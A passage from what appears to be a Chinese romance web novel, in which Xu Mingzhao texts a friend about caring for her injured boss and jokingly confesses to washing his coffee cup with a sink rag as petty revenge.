句号哥:【在干嘛】 最近几天忙得很,许明朝都好几天没联系句号哥了,他们的聊天记录还停留在那句【我家狗叫主人了。】上面。 如今周屹川给她挡了一刀,许明朝再看到这句话突然觉得有点不好意思,她在信息栏输入—— 【准备去医院】 句号:【你生病了?】 许明朝:【不是,是我老板受了点伤,我去照顾他。】 句号哥:【你转性了?】 许明朝:【不是,昨天去出差,遇到了点意外,老板都是为了救我才受伤的。QAQ】 许明朝:【虽然我只是嘴上客气一下,问了一声要不要去照顾他。】 许明朝:【没想到他居然答应了QAQ】 许明朝:【不过不管怎么说,都是他救了我。】 许明朝:【以前我还常常拿洗手池的抹布给他洗咖啡杯,现在感觉怪不好意思的。害羞/】 句号哥:【洗手台的……抹布?】 许明朝:【嘻嘻,报复老板的小tips】 许明朝:【下次你也试试。可爱/】